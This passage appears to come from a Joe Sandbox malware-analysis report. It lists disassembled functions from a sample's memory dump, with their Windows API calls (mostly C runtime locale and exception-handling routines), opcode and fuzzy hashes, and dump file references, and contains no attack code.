API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: e368e04fae4261d3755177ad6fd422c1eceb1607ddf69dc5a7024857f1d99ca4
Instruction ID: c9989294c6658c0674440c98c3c855da3cc23c9a71b94bf07103fe05b4ea1b39
Opcode Fuzzy Hash: e368e04fae4261d3755177ad6fd422c1eceb1607ddf69dc5a7024857f1d99ca4
Instruction Fuzzy Hash: 4E518171900A09AFEF20DFA4CC91BAE77F8EF08703F1845E9AD05E7191DB7099488B61

Function 00B5505D Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B4B940: GetLastError.KERNEL32(?,00000008,00B5118C), ref: 00B4B944
Part of subcall function 00B4B940: SetLastError.KERNEL32(00000000,00B66140,00000003,000000FF), ref: 00B4B9E6

GetACP.KERNEL32(?,?,?,?,?,?,00B4A066,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00B5511E
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00B4A066,?,?,?,00000055,?,-00000050,?,?), ref: 00B55149
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00B552AC

Strings

utf8, xrefs: 00B5521B

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: ad558e932fd5dfa4ff2a11a93a6a1c121e0ad246db4896e29eb3b282be04e86f
Instruction ID: 304de30cf985ff356011956b67f0be0276a9a66a6168423e66d943948d34c475
Opcode Fuzzy Hash: ad558e932fd5dfa4ff2a11a93a6a1c121e0ad246db4896e29eb3b282be04e86f
Instruction Fuzzy Hash: 4971F671A00B06AADB34AB74CC52FAA77E8EF05703F1444E9FD05DB181EB75E94887A0

Function 00B4FECD Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B4FF5A

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e0c59bc8d8984e6666305cd212fafe6242b5c06bf72fe89a7c197a62456e8f0b
Instruction ID: 0c12cd69aae487d06684deb8734f6276bae7c452ea989239d51d101e398a7f45
Opcode Fuzzy Hash: e0c59bc8d8984e6666305cd212fafe6242b5c06bf72fe89a7c197a62456e8f0b
Instruction Fuzzy Hash: 86B16A3291528A9FDB119F28C891BFEBBE5EF55301F1841E6FC04AB281D234DD09CB61

Function 00B3C03D Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00B3C049
IsDebuggerPresent.KERNEL32 ref: 00B3C115
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00B3C12E
UnhandledExceptionFilter.KERNEL32(?), ref: 00B3C138

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 8acf545704af5034a84a0c95540ad665466e110ffb39124ac443e2c19dbe0094
Instruction ID: 9ecdfbada539a3cea445a00c7e5605d21b008160740659061082400ac71790d0
Opcode Fuzzy Hash: 8acf545704af5034a84a0c95540ad665466e110ffb39124ac443e2c19dbe0094
Instruction Fuzzy Hash: 9531E475D05328DADB60DFA4D9497CDBBB8AF08701F1041EAE40CAB290EB719A858F45

Function 00B55470 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00B4B940: GetLastError.KERNEL32(?,00000008,00B5118C), ref: 00B4B944
Part of subcall function 00B4B940: SetLastError.KERNEL32(00000000,00B66140,00000003,000000FF), ref: 00B4B9E6

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B554C4
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B5550E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B555D4

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: c9b0f0feb02c8c559f5ac81fcc2c6d85182f826c2bde407a6570cc132ae941e9
Instruction ID: a931d24712de65883328f6185985cba84109583dad5790571fc8038f372e41ad
Opcode Fuzzy Hash: c9b0f0feb02c8c559f5ac81fcc2c6d85182f826c2bde407a6570cc132ae941e9
Instruction Fuzzy Hash: 4C617971510A179FEB289F28CCA2BAA77E9EF14303F5041EAED05C6181FB34D998CB50

Function 00B3FE53 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00B66140), ref: 00B3FF4B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00B66140), ref: 00B3FF55
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00B66140), ref: 00B3FF62

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: d3bb2d29e569928fa8f898de95949905dcab50f4429b4a1400237da4337f553e
Instruction ID: dc7f21d3ced0306f2c95691dd3277df001613a7ecf8f0d004f6031f59e0058de
Opcode Fuzzy Hash: d3bb2d29e569928fa8f898de95949905dcab50f4429b4a1400237da4337f553e
Instruction Fuzzy Hash: 8731B3749013299BCB21DF64D88979DBBF8BF18310F6041EAE41CA7291EB709F858F44

Function 00B43A70 Relevance: 3.4, APIs: 2, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaabb51ee67577d41bf2c772d20abb3294cea10c41c3aea82b12306928e37f47
Instruction ID: d69d28408cc3cb7d55875934fc943b71d92b6e9568efc55d315b9d40d36e9030
Opcode Fuzzy Hash: aaabb51ee67577d41bf2c772d20abb3294cea10c41c3aea82b12306928e37f47
Instruction Fuzzy Hash: 38F13D71E012199FDF14CFA8D880AADBBF1FF88714F1982A9E815A7381D7319F459B90

Function 00B4BFC9 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000000), ref: 00B4C1F6

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: c94dd5fc9cfe7f1c8b8c476640e751705f1f84b50b2bb38c0314044dca22985f
Instruction ID: deae4868c5815ad04e2f310117037193a119abf61d5cbb230f06aec470877896
Opcode Fuzzy Hash: c94dd5fc9cfe7f1c8b8c476640e751705f1f84b50b2bb38c0314044dca22985f
Instruction Fuzzy Hash: 1DB16C31211608CFDB58CF28C486B657FE0FF45764F258698E89ACF2A2C375EA81DB40

Function 00B3BB0C Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00B3BB22

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 6216f8dd1ab7211e5464d33764e8888639e97e6bbb7f8abfd6b90add04824815
Instruction ID: b2bb01dcf765da578634cc27e1eab73eaf400908cb34fe1d08447db40c277922
Opcode Fuzzy Hash: 6216f8dd1ab7211e5464d33764e8888639e97e6bbb7f8abfd6b90add04824815
Instruction Fuzzy Hash: 5A51AFB1A01209CFDB24CF58D9C1BAEFBF0FB54311F2490AAC505EB254DBB49A44CB52

Function 00B52923 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff6e2b60b6af1e88ba8b1a37d6f6db482fc973baf70932e911d9a6695a6e1264
Instruction ID: 17236bf38124f410a6bfc21b32a1ee0fcc4cc4a6c10ba56edbf47ca9b4e4f65b
Opcode Fuzzy Hash: ff6e2b60b6af1e88ba8b1a37d6f6db482fc973baf70932e911d9a6695a6e1264
Instruction Fuzzy Hash: 8F31D772901219AFCB24DFB8CC89EBBB7BDEB85315F1441E8FD0597244EA309E448B60

Function 00B468F6 Relevance: 1.6, Strings: 1, Instructions: 344COMMON

Download Yara Rule

Strings

0, xrefs: 00B46A84

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 5c69074801ef3ea9e55d8aacd3af70d0fe4e6f637670aee35d8576ff60f033ec
Instruction ID: e7fd85adc1b4bc2c562b0416a57cde313e0694b03861f6edd331fa47d10c0793
Opcode Fuzzy Hash: 5c69074801ef3ea9e55d8aacd3af70d0fe4e6f637670aee35d8576ff60f033ec
Instruction Fuzzy Hash: A6C1D170A00A468FCB28CF68C4D567AB7F1EF0A314F24869DD49697292C770EF45EB52

Function 00B556C3 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00B4B940: GetLastError.KERNEL32(?,00000008,00B5118C), ref: 00B4B944
Part of subcall function 00B4B940: SetLastError.KERNEL32(00000000,00B66140,00000003,000000FF), ref: 00B4B9E6

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B55717

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 2f47231d184719e9a252889ad916f42ca6d4b43ddea1a6e4baa66689b06139c3
Instruction ID: ec1d1c9570fd4a5fc127f839f5b5228b9c52401a153b690471af482f43d0639d
Opcode Fuzzy Hash: 2f47231d184719e9a252889ad916f42ca6d4b43ddea1a6e4baa66689b06139c3
Instruction Fuzzy Hash: 22217F72611616EBDB289A25DC92BBA73ECEF08317F1041EAED01D6141EB74EE48DB50

Function 00B5534A Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B4B940: GetLastError.KERNEL32(?,00000008,00B5118C), ref: 00B4B944
Part of subcall function 00B4B940: SetLastError.KERNEL32(00000000,00B66140,00000003,000000FF), ref: 00B4B9E6

EnumSystemLocalesW.KERNEL32(00B55470,00000001,00000000,?,-00000050,?,00B55AA1,00000000,?,?,?,00000055,?), ref: 00B553BC

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 7921c6a3e48b137594aa4d35c1060111b48fbde4f6adeadb467716ac120e63ff
Instruction ID: 22e78ad754991c65c231bfd88e067f16581e8885b66cc8bfcfb84426ca000392
Opcode Fuzzy Hash: 7921c6a3e48b137594aa4d35c1060111b48fbde4f6adeadb467716ac120e63ff
Instruction Fuzzy Hash: 88112C362007015FDB289F34C8A16BA77D1FF8435AB1844ADEA8747740D771B946C740

Function 00B558F2 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00B4B940: GetLastError.KERNEL32(?,00000008,00B5118C), ref: 00B4B944
Part of subcall function 00B4B940: SetLastError.KERNEL32(00000000,00B66140,00000003,000000FF), ref: 00B4B9E6

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00B5576D,00000000,00000000,?), ref: 00B5591E

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 731681bb047c088381f33534d31ca59b2499b8de91bfae4092d8b2c2f539762d
Instruction ID: 6ea0e588e56da38120a15a6288a372f1b412d8b4170d0eba8f4a2dec5bb08321
Opcode Fuzzy Hash: 731681bb047c088381f33534d31ca59b2499b8de91bfae4092d8b2c2f539762d
Instruction Fuzzy Hash: 41F0F932600613FBDB385A218819BBA77E4DF40367F0544E4ED09A3180EA78FD59C5D0

Function 00B55258 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00B4B940: GetLastError.KERNEL32(?,00000008,00B5118C), ref: 00B4B944
Part of subcall function 00B4B940: SetLastError.KERNEL32(00000000,00B66140,00000003,000000FF), ref: 00B4B9E6

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00B552AC

Strings

utf8, xrefs: 00B5521B

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: utf8
API String ID: 3736152602-905460609
Opcode ID: 67e024ba4b995acee75529d8877f4fa067f19591fb431d04b4c54ac575bc9f4d
Instruction ID: a9ab8d7309bf1a00a6fbc1dbdf0e624b9ed66ffefa5d481de148541757c955ca
Opcode Fuzzy Hash: 67e024ba4b995acee75529d8877f4fa067f19591fb431d04b4c54ac575bc9f4d
Instruction Fuzzy Hash: BBF0C832641219ABD728AB74DC56FBE73ECDB48322F1501F9BA06D7281DA74AD089750

Function 00B553E5 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B4B940: GetLastError.KERNEL32(?,00000008,00B5118C), ref: 00B4B944
Part of subcall function 00B4B940: SetLastError.KERNEL32(00000000,00B66140,00000003,000000FF), ref: 00B4B9E6

EnumSystemLocalesW.KERNEL32(00B556C3,00000001,?,?,-00000050,?,00B55A65,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00B5542F

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 1a7d14f07c7c3f6908858fa215901ed60381366109a4ca26ff2c81f6acb22137
Instruction ID: e574e844d6db82af94b23d8f1dea28af9c8fc8d01faa705ec36d123dc88457ac
Opcode Fuzzy Hash: 1a7d14f07c7c3f6908858fa215901ed60381366109a4ca26ff2c81f6acb22137
Instruction Fuzzy Hash: BEF0C2362007046FDB246F759891B6A7BD1EF8036AB0984EDFE468B690D6B1AC42C650

Function 00B4C8B0 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B47609: EnterCriticalSection.KERNEL32(?,?,00B48BDE,00000000,00B667F0,0000000C,00B48BA5,?,?,00B4C642,?,?,00B4BADE,00000001,00000364,?), ref: 00B47618

EnumSystemLocalesW.KERNEL32(00B4C8A3,00000001,00B669C0,0000000C,00B4CC75,00000000), ref: 00B4C8E8

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 07dd3af6238e18717d3ca32ae2ede5e4ee93f3604758f1a7687232856c449fc2
Instruction ID: 99ed344d331529d4e95a4673ae14393443b1599346410df0ba43998dd81ed84d
Opcode Fuzzy Hash: 07dd3af6238e18717d3ca32ae2ede5e4ee93f3604758f1a7687232856c449fc2
Instruction Fuzzy Hash: 69F04F72A41304DFD700DF98E842B9D7BF0EB08721F1041AAF510DB2E0DBB54A04DB41

Function 00B552FF Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B4B940: GetLastError.KERNEL32(?,00000008,00B5118C), ref: 00B4B944
Part of subcall function 00B4B940: SetLastError.KERNEL32(00000000,00B66140,00000003,000000FF), ref: 00B4B9E6

EnumSystemLocalesW.KERNEL32(00B55258,00000001,?,?,?,00B55AC3,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00B55336

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 93986280cb9684cffe1a4155d9930fd6aac91c1a3e74b7b2f207b5b8eef0ddb3
Instruction ID: 9ec68aa18852d11727a0cd33c3591405b187f5e47c661af252c4b80174a85ba7
Opcode Fuzzy Hash: 93986280cb9684cffe1a4155d9930fd6aac91c1a3e74b7b2f207b5b8eef0ddb3
Instruction Fuzzy Hash: FDF0553630020897CB14AF75D855B6A7FD0EFC1762B0A40D9EF0A8B291C7B19842C790

Function 00B4CD79 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00B4ABCC,?,20001004,00000000,00000002,?,?,00B4A1CE), ref: 00B4CDAD

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 9deb502f8d6fdb6be2940f38ad50569e24683e965e02ff04b095f15cb0ccefd9
Instruction ID: 78ca157cb01a9c785de864ddf479590c481176a1cb39a30a4d2240e35b0f8b2f
Opcode Fuzzy Hash: 9deb502f8d6fdb6be2940f38ad50569e24683e965e02ff04b095f15cb0ccefd9
Instruction Fuzzy Hash: 1CE01A32501228BBCB522F61EC04BAE3E56EB44B61F044061FC09661618B328E20BA90

Function 00B3C1CA Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000C1D6,00B3B630), ref: 00B3C1CF

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 9c092e882fb7c1afc661fc01adb4a8d54608452d980144b389ecce4e7c58cb6d
Instruction ID: 56ea8b406c7f1edf668f579d14227439d7fc91fe9dcc6b7a399945224b3da4b9
Opcode Fuzzy Hash: 9c092e882fb7c1afc661fc01adb4a8d54608452d980144b389ecce4e7c58cb6d
Instruction Fuzzy Hash:

Function 00B55C23 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00B55C23

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

